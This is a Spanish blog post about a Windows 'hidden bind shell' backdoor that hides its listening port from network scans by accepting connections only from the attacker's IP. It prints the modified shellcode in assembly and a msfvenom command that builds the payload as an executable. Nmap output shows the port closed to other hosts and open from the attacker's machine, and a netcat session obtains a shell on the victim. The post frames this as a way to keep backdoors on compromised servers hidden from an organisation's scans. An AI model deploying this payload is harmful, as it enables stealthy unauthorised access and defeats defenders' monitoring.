Esta técnica, que apareció en Hacker Defense Magazine allá por 2005 en el artículo "Developing a portless backdoor by hijacking WSAAccept()" publicado por Shawn Zhung, puede resultar tremendamente útil a la hora de ocultar backdoors en Windows. Es decir, si logramos comprometer varios servidores en una LAN, es capital ocultar los puertos de nuestro shellcode de cara a evitar ser detectados si una organización (u otro listo) realiza periódicamente escaneos.
Esto lo implementó perfectamente Borja Merino al modificar el payload del shell_bind_tcp de Stephen Fewer:
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
push 0x3002 ; level at which the option is defined: SOL_SOCKET
push 0xFFFF ; the socket option: SO_CONDITIONAL_ACCEPT
push edi ; socket descriptor
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
push ebx ; backlog
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
condition:
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
call wsaaccept ; push the start of the condition function on the stack
mov eax, DWORD [esp 4]
mov eax, DWORD [eax 4]
mov eax, DWORD [eax 4] ; get the client IP returned in the stack
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
jz return ; if equal returns CF_ACCEPT
xor eax, eax ; If not equal, the condition function returns CF_REJECT
inc eax
return:
retn 0x20 ; some stack alignment needed to return to mswsock
wsaaccept:
push ebx ; length of the sockaddr = nul
push ebx ; struct sockaddr = nul
push edi ; socket descriptor
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
cmp eax, -1 ; if error jump to condition function to wait for another connection
jz condition
Las versiones single y stager ya se han incluido en Metasploit por lo que para crear un payload simplemente podemos probar:
root@kali:~# msfvenom -p windows/shell_hidden_bind_tcp LPORT=12345 AHOST=192.168.1.25 -f exe > shell_oculto.exe
Si lo hacéis así de sencillo, sin darle más "amor" al binario, será detectado por el antivirus, pero de cualquier forma si queréis probar o si conseguís ejecutarlo en la máquina de la víctima el puerto 12345 no debería ser accesible por ninguna máquina que no sea la definida en la variable AHOST:
vmotos@kali:~$ nmap -p12345 192.168.1.124
Starting Nmap 7.00 ( https://nmap.org ) at 2016-01-27 12:08 EST
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 50.00% done; ETC: 12:08 (0:00:01 remaining)
Nmap scan report for 192.168.1.124
Host is up (1.0s latency).
PORT STATE SERVICE
12345/tcp closed netbus
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
Sin embargo, si probamos desde la máquina del atacante (192.168.1.25 en este caso) podremos ver el puerto abierto y acceder a nuestro shellcode sin problemas:
root@server1:/# nmap -p12345 192.168.1.124
Starting Nmap 5.21 ( http://nmap.org ) at 2016-01-27 18:10 CET
Nmap scan report for 192.168.1.124
Host is up (0.0036s latency).
PORT STATE SERVICE
12345/tcp open netbus
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
root@server1:/# nc 192.168.1.124 12345
Microsoft Windows [Versi¢n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\pepe\Desktop>whoami
whoami
dominio\pepe
Evidentemente esto sería util para ocultarlo a la red local. Si queremos hacerlo a nivel local ya tendríamos que hablar de rootkits... pero eso ya es otra historia...
Fuente: Hidden Bind Shell: Keep your shellcode hidden from scans
0 comentarios :
Publicar un comentario